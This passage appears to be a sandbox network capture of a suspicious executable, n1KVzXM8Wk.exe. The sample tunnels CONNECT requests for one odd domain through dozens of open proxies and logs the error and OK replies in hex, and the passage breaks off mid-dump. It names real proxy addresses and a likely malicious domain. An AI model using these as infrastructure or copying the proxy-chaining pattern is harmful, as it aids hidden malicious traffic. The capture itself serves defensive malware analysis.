Feb 23, 2024 09:45:32.223042965 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1849	192.168.2.4	53627	83.118.211.140	3129	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.232660055 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.072529078 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.10 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 09:09:22 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3747 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 61 20 69 6d 67 7b 0a 09 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 0a 7d 0a 0a 74 74 20 7b 0a 09 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 20 0a 09 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6d 6f 6e 6f 73 70 61 63 65 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 44 32 44 34 37 3b 0a 7d 0a 0a 62 6f 64 79 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 0a 09 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 09 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 73 75 70 70 6f 72 74 2e 6f 6c 66 65 6f 2e 63 6f 6d 2f 73 69 74 65 73 2f 6f 6c 66 65 6f 2f 66 69 6c 65 73 2f 66 6f 75 6e 64 61 74 69 6f 6e 5f 6c 6f 67 6f 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 23 63 6f 6e 74 65 6e 74 7b 0a 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 69 6e 6c 69 6e 65 2d 73 74 61 63 6b 3b 0a 09 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 09 7a 6f 6f 6d 3a 31 3b 0a 09 2a 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 09 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 09 6d 61 78 2d 77 69 64 74 68 3a 36 30 25 3b 0a 7d 0a 0a 23 6c 6f 67 6f 7b 0a 09 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 38 25 20 32 30 70 78 20 38 25 3b 0a 09 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 33 70 78 20 73 6f 6c 69 64 20 23 44 41 30 38 31 42 3b Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... a img{border-style:none;}tt {text-decoration:none; font-weight:bold;font-family:monospace;color: #1D2D47;}body{text-align:center;background-color:white;height:100%;margin:0 0 0 0;}#titles { margin-left: 15px; padding: 10px; padding-left: 100px; background: url('http://support.olfeo.com/sites/olfeo/files/foundation_logo.png') no-repeat left;}#content{margin-top:5%;text-align:left;display:-moz-inline-stack;display:inline-block;zoom:1;*display:inline;margin-left: auto;margin-right: auto;max-width:60%;}#logo{text-align:left;margin: 0 8% 20px 8%;border-bottom:3px solid #DA081B;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1850	192.168.2.4	50531	170.82.13.121	3600	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.240572929 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.334613085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:37.613293886 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1851	192.168.2.4	54886	201.91.82.155	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.241044044 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.775810957 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1852	192.168.2.4	55039	183.56.243.209	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.241728067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1853	192.168.2.4	55072	104.16.109.207	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.248680115 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.335577965 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1854	192.168.2.4	55076	172.67.182.85	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.253679991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.341393948 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1855	192.168.2.4	53203	92.204.134.38	42571	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.290921926 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.365839005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1856	192.168.2.4	55061	106.14.249.81	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.306207895 CET	113	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1857	192.168.2.4	54591	132.148.128.8	48181	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.325078964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.740827084 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1858	192.168.2.4	55088	104.17.210.9	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.327380896 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.414792061 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1859	192.168.2.4	55114	45.144.30.199	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.332006931 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1860	192.168.2.4	54597	72.167.220.46	15077	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.367166996 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1861	192.168.2.4	55119	211.234.125.3	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.387979031 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1862	192.168.2.4	55060	27.65.30.37	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.397556067 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1863	192.168.2.4	55107	104.25.81.82	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.450728893 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.538171053 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1864	192.168.2.4	55106	159.203.61.169	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.497282028 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.646531105 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1865	192.168.2.4	54862	103.49.114.195	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.498390913 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1866	192.168.2.4	55130	218.145.131.182	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.499973059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1867	192.168.2.4	54608	188.124.230.43	17662	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.511379957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1868	192.168.2.4	55118	20.122.126.40	7979	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.517318964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.844680071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.147207975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1869	192.168.2.4	55104	186.97.167.26	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.517527103 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1870	192.168.2.4	55111	104.244.75.78	31534	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.523525953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1871	192.168.2.4	55110	82.65.98.35	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.523627043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.037714005 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.647200108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.741189957 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.795542955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.846256971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:40.944179058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1872	192.168.2.4	54954	164.92.86.113	57552	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.524029970 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1873	192.168.2.4	54905	103.159.194.151	7777	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.529833078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1874	192.168.2.4	55140	172.67.105.234	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.539489985 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.626597881 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1875	192.168.2.4	55141	104.16.230.163	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.567183971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.654165030 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1876	192.168.2.4	55139	38.156.233.76	999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.613580942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.178405046 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.684041023 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:36.300410986 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1877	192.168.2.4	55115	61.111.38.5	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.627536058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.914412022 CET	507	IN	HTTP/1.1 502 Proxy Error Date: Fri, 23 Feb 2024 08:45:34 GMT Server: Apache Content-Length: 341 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 32 20 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 50 72 6f 78 79 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 72 65 63 65 69 76 65 64 20 61 6e 20 69 6e 76 61 6c 69 64 0d 0a 72 65 73 70 6f 6e 73 65 20 66 72 6f 6d 20 61 6e 20 75 70 73 74 72 65 61 6d 20 73 65 72 76 65 72 2e 3c 62 72 20 2f 3e 0d 0a 54 68 65 20 70 72 6f 78 79 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 3c 70 3e 52 65 61 73 6f 6e 3a 20 3c 